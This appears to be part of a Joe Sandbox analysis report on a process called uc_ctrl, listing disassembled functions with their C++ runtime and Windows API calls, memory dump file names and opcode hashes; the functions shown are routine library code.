Function 6D1B01CB Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B01D2
new.LIBCMT ref: 6D1B01E6

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B9F3B,00000000,?,?,?,00000004), ref: 6D1B0200

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B9F3B,00000000,?,?,?,00000004), ref: 6D1B0214

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 01dcd7cade42fddbf4f502492c43cbb19e638cf4ae4e35dbac0b7017ae8ca72d
Instruction ID: bc11dcbf44c17eb97b5f1a4581dc8e24a5002a7d91ed72e8aace8342bd12b352
Opcode Fuzzy Hash: 01dcd7cade42fddbf4f502492c43cbb19e638cf4ae4e35dbac0b7017ae8ca72d
Instruction Fuzzy Hash: A1F0A0399083168FEB00DFA0C5117ADB3B0BF14729F114819D241AB289EFFC1A44C782

Function 6D1B0256 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1B025D
new.LIBCMT ref: 6D1B0271

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6D1B9EA2,00000000,?,?,?,00000004), ref: 6D1B028B

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6D1B9EA2,00000000,?,?,?,00000004), ref: 6D1B029F

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: d5015c996a391ea33e84ee52dd5413659405f67d8fc7bcda9a85ad41fdb17d37
Instruction ID: 668b1c10a5861fc8cb5cf7e35e356fd561ee27ca9c3f3cfb93c8ff19f00a26cd
Opcode Fuzzy Hash: d5015c996a391ea33e84ee52dd5413659405f67d8fc7bcda9a85ad41fdb17d37
Instruction Fuzzy Hash: 04F0A0359083128FEB00DFA0C5117ADB3B0BF14729F114419D281AB289EFFD5A44CB82

Function 6D1A2E90 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A2E97
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6D195578,00000064), ref: 6D1A2EB9

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

_Getcvt.MSVCP140(?,00000064), ref: 6D1A2EC6

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6D1A2ED9

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 3765203899-0
Opcode ID: b05c2269555cfc7a31eb3106ee32ad0d5505b644373ac728c8f1d5fd13b6a1d0
Instruction ID: 5a5a56ffe110be35d9520855fb0c5cbb9eeee03ca5b34e78417a123535c7f15f
Opcode Fuzzy Hash: b05c2269555cfc7a31eb3106ee32ad0d5505b644373ac728c8f1d5fd13b6a1d0
Instruction Fuzzy Hash: D5F08C369042149BEF10DFA4D884BDDB7B1BB24314F158069A604EF28ADBF89A44CB62

Function 6D1A6EE0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

___crtIsPackagedApp.LIBCPMT ref: 6D1A6EE3

Part of subcall function 6D1CA020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6D1CA02A

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D1A6EEC
___crtCreateSymbolicLinkW.LIBCPMT(?,?,00000000), ref: 6D1A6F05
GetLastError.KERNEL32 ref: 6D1A6F11

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Packaged___crt$CreateErrorHelperLastLinkSymbolic___crt__errno
String ID:
API String ID: 2330564887-0
Opcode ID: 752d0053e1b201cbfc3ff5311e2c3a5d7e72153882b05ae8f4c5965f13560452
Instruction ID: 1a4c5d722ef3db03713c4e8f6d30a33538be690673f351f7c7a936ca45b6b932
Opcode Fuzzy Hash: 752d0053e1b201cbfc3ff5311e2c3a5d7e72153882b05ae8f4c5965f13560452
Instruction Fuzzy Hash: D5E086362483189BEF112FECFC04BEA7BA8DF152A9B058175FE0CD6244E7A18C5087E5

Function 6D1A29E0 Relevance: 6.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A29E7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6D195578,00000064), ref: 6D1A2A09

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

_Getcvt.MSVCP140(?,00000064), ref: 6D1A2A16

Part of subcall function 6D19F0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6D19D26D,?), ref: 6D19F107
Part of subcall function 6D19F0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F111
Part of subcall function 6D19F0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6D19D26D,?), ref: 6D19F11A
Part of subcall function 6D19F0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6D19D26D,?), ref: 6D19F130

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000064), ref: 6D1A2A29

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbblead_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 3765203899-0
Opcode ID: da2b88720ae0ea81a949e665b956a1a104e47b181e9088487d6e2a0a861d89b8
Instruction ID: 0a03d73e52d137b1b8950ca5c1504441405722d2f2b8ca422a54cec16dbd5805
Opcode Fuzzy Hash: da2b88720ae0ea81a949e665b956a1a104e47b181e9088487d6e2a0a861d89b8
Instruction Fuzzy Hash: B4F08C369042149BEF10DFA4D884BDDB7B1BB18314F158069A604EF28ADBF89A44CB62

Function 6CF0C681 Relevance: 6.0, APIs: 4, Instructions: 27timeCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 6CF0C694
InvalidateRect.USER32(?,00000000,00000001), ref: 6CF0C6BE
UpdateWindow.USER32(?), ref: 6CF0C6C7
KillTimer.USER32(?,0000EC0D), ref: 6CF0C6DD

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CaptureInvalidateKillRectReleaseTimerUpdateWindow
String ID:
API String ID: 1483814783-0
Opcode ID: 1b19ef746144508986576d9d1006cb3ab59129430007354ef1fc97d767f5138b
Instruction ID: 7dc8cb254d1cfcbae2e29399f8781d1c7f9317f6966e188959ad86341b18cdc1
Opcode Fuzzy Hash: 1b19ef746144508986576d9d1006cb3ab59129430007354ef1fc97d767f5138b
Instruction Fuzzy Hash: 9BF01731501B00DBDB215F26D908B86FAFABF89701F11491EE59A81220D7712041DF21

Function 00B390DE Relevance: 6.0, APIs: 4, Instructions: 26timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00B390F0
GetCurrentThreadId.KERNEL32 ref: 00B390FF
GetCurrentProcessId.KERNEL32 ref: 00B39108
QueryPerformanceCounter.KERNEL32(?), ref: 00B39115

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f1489c931c8c009dde361d7f01f46fa96018c8bc61c36d1ae3960690a0c4d2c6
Instruction ID: f2ed6b32b5bedc28345307acd3a6534bff9ba69eb0dd3a8d4f865c328bdd8028
Opcode Fuzzy Hash: f1489c931c8c009dde361d7f01f46fa96018c8bc61c36d1ae3960690a0c4d2c6
Instruction Fuzzy Hash: 48F0AF74C1020CEBCB04DFF4E989A9EBBF8EF18311F614596A845E7110EB35AB088B52

Function 6D1A6EA0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

___crtIsPackagedApp.LIBCPMT ref: 6D1A6EA3

Part of subcall function 6D1CA020: ___crt_IsPackagedAppHelper.LIBCPMT ref: 6D1CA02A

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D1A6EAC
CreateHardLinkW.KERNEL32(?,?,00000000), ref: 6D1A6EC5
GetLastError.KERNEL32 ref: 6D1A6ECF

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Packaged$CreateErrorHardHelperLastLink___crt___crt__errno
String ID:
API String ID: 3859327723-0
Opcode ID: 66b169e77d9e7e325be703750aee39228933cb32aac0ef9568afa48fcdbfae72
Instruction ID: 770903f039fef7b767be0cc229e633c6e73ae2b642aaf95c41735f5fc2cfc3ef
Opcode Fuzzy Hash: 66b169e77d9e7e325be703750aee39228933cb32aac0ef9568afa48fcdbfae72
Instruction Fuzzy Hash: 78E04F362442299BAB111FEDF808BAA7BA8DF156A5B118125FA0CC6204DBA18C5097E4

Function 6D1BEE70 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BEE77
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,?,?,00000038), ref: 6D1BEE9F

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,?,?,00000038), ref: 6D1BEEAA

Part of subcall function 6D1B3C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6D1B1631,00000000,00000038,6D1B9B9F,?,?,00000000,?,?,?,00000004), ref: 6D1B3C7E
Part of subcall function 6D1B3C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6D1B1631,00000000,00000038,6D1B9B9F,?,?,00000000,?,?,?,00000004), ref: 6D1B3C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,?,?,00000038), ref: 6D1BEEB2

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: 0fb1b54db24a7727e88e06ba17ffed175398f1c05cf40adca266b07cd5e4b326
Instruction ID: 09c74741c6b117da132c05934b7ae1e8f891b3a26cb1ffe48bdcb97f44380683
Opcode Fuzzy Hash: 0fb1b54db24a7727e88e06ba17ffed175398f1c05cf40adca266b07cd5e4b326
Instruction Fuzzy Hash: 1FF0A034904219CBCB00DF94C6447DDBBF4AF20308F108009A505AB248DBF8AB45CB92

Function 6D1BEED0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BEED7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6D195578,00000038,6D1BED77,00000000), ref: 6D1BEF01

Part of subcall function 6D1A1410: __EH_prolog3.LIBCMT ref: 6D1A1417
